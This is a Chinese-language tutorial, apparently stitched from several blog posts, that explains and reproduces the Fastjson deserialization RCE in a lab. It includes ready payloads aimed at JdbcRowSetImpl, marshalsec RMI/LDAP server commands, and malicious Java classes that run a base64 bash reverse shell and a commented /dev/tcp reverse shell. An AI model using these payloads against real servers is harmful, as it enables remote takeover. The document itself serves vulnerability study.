一、fastjson简介

fastjson是java的一个库，可以将java对象转化为json格式的字符串，也可以将json格式的字符串转化为java对象

提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串，parseObject 方法则反过来将 JSON 字符串转换成对象。

二、fastjson反序列化漏洞原理

在反序列化的时候，会进入parseField方法，进入该方法后，就会调用setValue(object, value)方法，在这里，会执行构造的恶意代码，最后造成代码执行。 那么通过以上步骤，我们可以知道该漏洞的利用点有两个，第一是需要我们指定一个类，这个类的作用是为了让程序获取这个类来进行反序列化操作。第二是需要将需要执行的代码提供给程序，所以这里使用了rmi。 然后反序列化的时候会去请求rmi服务器，地址为： dnslog.cn/aaa。然后加载aaa这个恶意class文件从而造成代码执行。

三、fastjson反序列化漏洞的前提条件

1. 目标服务器存在fastjson。
2. 没有对用户传输的数据进行严格过滤。

四、复现fastjson反序列化漏洞

1.复现的步骤

（1）开启环境

• 黑客使用payload攻击主机A（该payload需要指定rmi/ldap地址）
• 主机A引发反序列化漏洞，进行ldap远程方法调用，去连接主机B的9999端口。
• 主机B的LDAP服务指定加载主机C的恶意java类，所以主机A通过主机B的LDAP服务最终加载并执行主机C的恶意java类。
• 主机A执行恶意Java类，主机B获得反弹shell，控制主机A。

2.进入docker容器进行复现

1. cd 1.2.47-rce/
2.  docker-compose up -d  端口为：8090
3. 访问
4. 
5. 开启抓包确定是不是fastjson框架，通过修改请求包判断是否是fastjson框架  ，应为fastjson有一个严格的格式才能解析，否则会报错
6. 

（2）准备一个恶意的类

        使用javac编译 rmi.java文件  生成一个类文件      

import java.lang.Runtime;
import java.lang.Process;

public class rmi{
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}
//YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjE3MC82NjY2IDA+JjE= 这个是监听主机的ip地址和端口号

（3）然后将类文件放到监听的服务器上

（4）使用工具运行rmi文件

payload：java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.44.170/#rmi" 9999

 (5)修改数据包中的post请求主体

{"a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.44.170:9999/rmi.class",
        "autoCommit":true}}

（6）然后进行端口监听

（7）点击go,发现反弹shell成功

Fastjson序列化与反序列化

常规反序列化

Fastjson的序列化与反序列化与常规的java反序列化不同，我们先来看一下正常的java反序列化，使用下面一段代码：

package com.armandhe.javabase;

import java.io.*;

public class Unserialize {
    public static void main(String[] args) {
        File file = new File("Unserilize.txt");
        try {

            //新建一个对象
            UnserializeTest unserializeTest = new UnserializeTest();
            unserializeTest.name = "armandhe";

            //序列化
            FileOutputStream fileOutputStream = new FileOutputStream(file);
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
            outputStream.writeObject(unserializeTest);
            outputStream.close();
//            fileOutputStream.close();

            //反序列化
            FileInputStream fileInputStream = new FileInputStream(file);
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            try {
                UnserializeTest o = (UnserializeTest) objectInputStream.readObject();
                System.out.println(o.name);
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }

        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

class UnserializeTest implements Serializable{
    public String name;
    private void readObject(ObjectInputStream in) throws IOException,ClassNotFoundException{
        in.defaultReadObject();
        System.out.println("执行了readObject函数！！");
        Runtime.getRuntime().exec("calc.exe");
    }
}

反序列化的单词被我拼错了，尴尬，懒得改了

我们知道在java中要实现序列化的类的的实例，其类必须实现Serializable或者Externalizable接口，Serializable接口是一个空接口，其只是作为一个标志，而Externalizable这是对Serializable接口的再一次封装，如下图：

• Serializable接口
  
• Externalizable接口
  
  可以看到Externalizable继承了Serializable接口，并添加了自己的方法。
  因为这个原因，我们在demo中首先编写了一个UnserializeTest类用于被序列化，该类中重写了readObject方法，个人感觉也不算是重写，因为没有@override注解，应该是应为作用域的缘故导致在调用的时候先只能执行了本类中的readObject方法，在该类中我们执行了操作系统命令弹出一个计算机，并打印了一段话。
  demo代码运行的结果就是，会在控制台打印：

执行了readObject函数！！
armandhe

并生成一个Userilize.txt文件和弹出计算机，如下图：

我们通过常规的方式打开Unserilize.txt会看到一堆乱码：

所以我们使用linux的xxd命令：

xxd Unserilize.txt

或者在windows中使用010editor打开它：

需要注意的特征是，开头的ACED0005，这个是java序列化数据的特征，有助于我们快速定位程序的反序列化利用点。其实后面的73 72也有特定的含义，不过具体的我忘记了，感兴趣的朋友可以自行查询。我们可以利用工具对该数据进行解析：

这样我们就可以看到对象序列化之前对应的类，以及其中其中的可被序列化的methods与fields。
常规java序列化调用的是writeObject方法，反序列化则调用的是readObject方法，如果目标类在实现的时候重写了readObject方法想我们的demo代码一样，并包含有一些危险的操作的参数是用户可控的话，那么就可能导致反序列化漏洞。

Fastjson序列化与反序列化

Fastjson可以将JSONObject或者javaBean序列化为JSON字符串。关于javaBean的只是可以参考廖雪峰的网站：javaBean是什么

Fastjson在对javaBean进行序列化的时候会调用它的所有get或者is方法，反序列化的时候会调用所有的set方法，我们可以看下面的代码，如果这个set方法中含有一些危险的调用链，我们则可以利用这个反序列化过程来执行我们自己的命令：
首先我们准备一个javaBean，FastjsonUnserilizeTest.java

package com.armandhe.javabase;

public class FastjsonUnserilizeTest {
    private String name;
    private int age;

    public String getName() {
        System.out.println("调用了getname方法！");
        return name;
    }

    public void setName(String name) {
        System.out.println("调用了setname方法！");
        this.name = name;
    }

    public int getAge() {
        System.out.println("调用了getage方法！");
        return age;
    }

    public void setAge(int age) {
        System.out.println("调用了setage方法！");
        this.age = age;
    }
}

然后是序列化与反序列化代码,FastjsonUnserilizeMain.java：

package com.armandhe.javabase;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class FastjsonUnserilizeMain {
    public static void main(String[] args) {

        //新建对象
        System.out.println("新建对象：");
        FastjsonUnserilizeTest fastjsonUnserilizeTest = new FastjsonUnserilizeTest();
        fastjsonUnserilizeTest.setName("armband");
        fastjsonUnserilizeTest.setAge(24);
        //序列化
        System.out.println("\n序列化：");
        String s = JSON.toJSONString(fastjsonUnserilizeTest, SerializerFeature.WriteClassName);
        System.out.println(s);
        String jsonString = "{\"age\":25,\"name\":\"armbandnewpy\"}";
        //反序列化
        System.out.println("\n反序列化：");
        FastjsonUnserilizeTest fastjsonUnserilizeTest1 = JSON.parseObject(s, FastjsonUnserilizeTest.class);
        System.out.println(fastjsonUnserilizeTest1);
        String name = fastjsonUnserilizeTest1.getName();
        System.out.println(name);
    }
}

执行后控制控制台打印：

第一部分是在我们新建对象的时候调用了两次set方法
第二部分是在序列化的时候调用了get方法
第三部分是在反序列化的时候调用了set方法
注意到Fastjson中序列化调用的是JSON.toJSONString方法，反序列化调用的是JSON.parseObject方法。

Fastjson发序列化漏洞原理

我们注意到在进行序列化操作的时候JSON.toJSONString方法有一个参数SerializerFeature.WriteClassName，这个参数就是在序列化是包含类名，也就是这个参数导致了Fastjson的反序列化漏洞，这个参数实现的功能在Fastjson中被称作AutoType，即自动类型。如果不添加这个参数我们的javaBean序列化后应该是这样的：

对比一下包含有上述参数：

可以看到多了一个@type参数。
如果没有SerializerFeature.WriteClassName参数，我们在进行反序列化时，代码这样写：

String s= "{\"age\":25,\"name\":\"armbandnewpy\"}";
JSONObject jsonObject = JSON.parseObject(s);

这时候我们是不能控制到底要反序列化为什么类型的对象的，只能开发者在代码中指定好，如这样：

而如果我们在序列化的时候添加了该参数，我们则可以在反序列化的时候通过控制@type键的值来控制该序列化数据要被反序列化为什么样的对象，即调用什么类的set 方法，接下来要用到的就是找到这样一个类可以被用来完成我们想要的功能。
其中一个类是：com.sun.rowset.JdbcRowSetImpl
我们查看以下这个类，定位到setDataSource方法：

这段代码首先判断了this.getDataSourceName（）是否为空，我们定位到getDataSourceName（）方法处查看一下他的返回值：

返回dataSource，是一个字符串类型，那么我们在反序列化调用set方法时dataSource首先是没有值的，也就是说this.getDataSourceName（）的返回值为null，这逻辑进入到else部分，调用了父类的setDataSourceName，并将var1传了进去。其实这一串都不重要，只需要知道反序列化的时候会自动调用setDataSourceName为DataSourceName赋值就可以了。
再在com.sun.rowset.JdbcRowSetImpl类中定位到setAutocommit方法：

在定位到this.connect方法：

在这里我们注意到有个lookup方法，该方法就是JNDI中访问远程服务器获取远程对象的方法，其参数为服务器地址。如果其参数可控那么就可能被攻击，而this.getDataSourceName是获取DataSourceName的值得方法，那么我们只要控制了this.setDataSourceName方法的参数就可以访问我们自己的服务器了。而我们知道Fastjson在反序列化的时候会调用所有的set方法，正好可以通过setDataSourceName对DataSourceName进行赋值。于是，我们就有了这样的Fastjson序列化数据：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}

这儿autoCommit好像必须设置为true，为啥我忘记了，昨天看的，待会儿去找找！！
漏洞的原理就是这样，接下来就是复现了，好紧张。。。。

一次失败的复现

我们利用现有的靶场环境：

将含有漏洞的war包直接放到tomcat的webapps目录下，然后启动tomcat就可以了，访问下：

出啊先helloword则代表靶场搭建完毕，然后我们去看看这个war包怎么写的：

这里有两个文件，主要的逻辑在过滤器那个类中，我直接给他粘出来：

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import spark.Spark;
import spark.servlet.SparkApplication;

public class IndexFilter implements SparkApplication {
    public IndexFilter() {
    }

    public void init() {
        Spark.get("/", (req, res) -> {
            return "Hello World";
        });
        Spark.post("/", (request, response) -> {
            String data = request.body();
            JSONObject obj = JSON.parseObject(data, new Feature[]{Feature.SupportNonPublicField});
            JSONObject ret = new JSONObject();
            ret.put("success", 200);
            ret.put("data", "Hello " + obj.get("name") + ", Your age is " + obj.get("age"));
            response.status(200);
            response.type("application/json");
            return ret.toJSONString();
        });
    }

    public static void main(String[] args) {
        IndexFilter i = new IndexFilter();
        i.init();
    }
}

可以看到，如果请求的方法为get则返回hello word ，如果为post则对传上来的数据进行反序列化操作，并输出 你的年纪与姓名这里面有一个
new Feature[]{Feature.SupportNonPublicField}); JSONObject ret = new JSONObject(); ret.put("success", 200); 参数是为了让被private修饰的值也能被反序列化。
我们传入正常的数据：
get请求：

post请求：

然后传入我们构造的payload:

在操作前记得先搭建好ldap服务器，使用的工具是marshalsec，可以在gihub上找到，命令是：

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1/#Exploit" 6666

当靶机访问该服务器的时候，会被重定向到本机的80端口上访问Exploit.class文件，Exploit.java文件中的内容为：

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
      //Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

执行了打开计算机的命令，但我的操作并没有打开计算机，据说是应为jdk版本的原因。详情见：
Fastjson反序列化漏洞利用
参考文章：
fastjson反序列化漏洞复现
Fastjson反序列化漏洞利用

FastJson 简介

fastjson框架下载：https://github/alibaba/fastjson

fastjson-jndi 下载：https://github.com/earayu/fastjson_jndi_poc

fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库，用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制，而是自定义了一套序列化机制。

提供两个主要接口：

JSON.toJSONString 和 JSON.parseObject/JSON.parse 分别实现序列化和反序列化

漏洞原理

fastjson就是为了知道传入的值是水果里的苹果类型还是水果里的苹果手机类型。加了autotype机制导致的。因为他为了知道是什么详细类型，每次都需要读取下@type导致的。

Fastjson反序列化的Gadget需要无参默认构造方法或者注解指定构造方法并添加相应参数。使用Feature.SupportNonPublicField才能打开非公有属性的反序列化处理，@type可以指定反序列化任意类调用其set，get，is方法，并且由于反序列化的特性，我们可以通过目标类的set方法自由的设置类的属性值。

攻击者准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口向攻击者控制web服务器远程加载恶意代码，执行构造函数形成RCE。

FastJson 序列化操作

序列化

Student student = new Student();
student.setName("jack");
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);   
	//漏洞的关键点在@type
String jsonString2 = JSON.toJSONString(student);
System.out.println(jsonString);
System.out.println(jsonString2);

反序列化

    //反序列化
System.out.println("反序列化");
    //String json_ser = "{\"@type\":\"com.company.Student\",\"name\":\"jack\"}";      		//payload 写在恶意类Student中。但是类在服务端，如何去创建，如何写payload
String json_ser2 = "{\"name\":\"jack\"}";
Student stu = JSON.parseObject(json_ser2,Student.class,Feature.SupportNonPublicField);
    //Feature.SupportNonPublicField 获取类中的私有变量
Student stu2 = (Student) JSON.parseObject(json_ser2,Object.class,Feature.SupportNonPublicField);
System.out.println(stu.getClass());
System.out.println(stu2.getClass().getName());

序列化 String json_ser2 = “{“name”:“jack”}” ；会报错

序列化 String json_ser = “{”@type":“com.company.Student”,“name”:“jack”}"; 不会报错

因此能够执行反序列化的根源定位在 @type

调用链分析原理

可利用的 fastjson版本：[1.2.22,1.2.24]。高版本没有此漏洞

思路：类在服务端，如何去创建，如何写payload。

 //LADP 方式
String payload1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
 //RMI 方式
String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";

这就用到了JNDI。JNDI提供了 查找和访问各种命名和目录服务的通用、统一的接口。支持的服务：DNS，LDAP，RMI，CORBA等

JNDI注入发生在客户端的lookup()中，如果lookup()的参数可控即可导致被攻击

运行SomeFastjsonApp，可以直接打开电脑中的计算器

定位 com.sun.rowset.JdbcRowSetImpl 这个类（在jdk的rt.jar中的 com.sun.rowset）

然后定位 setDataSourceName 方法

在JdbcRowSetImpl 这个类 中定位autocommit

然后 按下ctrl + 鼠标左键，点击connect方法，继续定位

看到一个lookup方法，其中getDataSoureceName可控，这就是漏洞可以利用的原理

利用过程分析

RMI 的实现

1. RMI是 Java中 专为 JAVA 环境设计的 远程方法调用机制

2. 远程对象能在rmi服务器上注册

3. 指向web服务器

服务端

public class RegistryService {
    public static void main(String[] args) {
        try {
            // 本地主机上的远程对象注册表Registry的实例,默认端口1099
            Registry registry = LocateRegistry.createRegistry(1099);
            // 创建一个远程对象
            HelloRegistryFacade hello = new HelloRegistryFacadeImpl();
            // 把远程对象注册到RMI注册服务器上，并命名为HelloRegistry
            registry.rebind("HelloRegistry", hello);
            System.out.println("======= 启动RMI服务成功! =======");
        } catch (RemoteException e) {
            e.printStackTrace();
        }
    }
}

客户端

public class RegistryClient {
    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            HelloRegistryFacade hello = (HelloRegistryFacade) registry.lookup("HelloRegistry");
            String response = hello.helloWorld("ZhenJin");
            System.out.println("=======> " + response + " <=======");
        } catch (NotBoundException | RemoteException e) {
            e.printStackTrace();
        }
    }
}

JNDI

JNDI是Java命令和目录接口，提供了查找各种命名和目录服务的统一的接口。

简单理解就是：java微服务中的注册中心

JNDI 借助目标服务器上的一个类jdbcRowSetImpl，让目标服务器访问远程rmi服务器（rmi://127.0.0.1:1099/Exploit），得到响应后执行相应操作

服务器端代码构造

1. 在jndi的 JNDIServer类中构造

2. rmi服务端 需要一个Exploit.class 放到 rmi 指向的 web服务器目录下，这个Exploit.class 是一个factory ，通过Exploit.java编译得来，在 JNDI 执行的过程中会被初始化。如下是Exploit.java的代码

​

3. 服务端构造好之后，下面来看 payload

public class SomeFastjsonApp {

    public static void main(String[] argv){
        testJdbcRowSetImpl();
    }

    public static void testJdbcRowSetImpl(){
        //JDK 8u121以后版本需要设置改系统变量
        //System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //LADP 方式
        String payload1 = "		{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Exploit\"," + " \"autoCommit\":true}";
        
        //RMI 方式
        String payload2 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\"," + " \"autoCommit\":true}";
        JSONObject.parseObject(payload2);
    }

}

总结

1. fastjson 利用过程

fastjson中，在反序列化的时候 jdk中 的 jdbcRowSetImpl 类一定会被执行，我们给此类中的 setDataSourcesName 输入恶意内容（rmi链接），让目标服务在反序列化的时候，请求rmi服务器，执行rmi服务器下发的命令，从而导致远程命令执行漏洞

2. 恶意类怎么上传到服务端

通过jndi在服务端创造一个有危害的类，目标服务器收到rmi的命令之后，就会加载这个jndi生成的恶意类

3. fastjson rce的原理

jdk 中的 jdbcRowSetImpl 类中的 setAutoCommit 方法中的 lookup方法中的 getDataSourcesName 参数输入可控

参考

idea导jar包教程：https://www.pianshen.com/article/40051976554/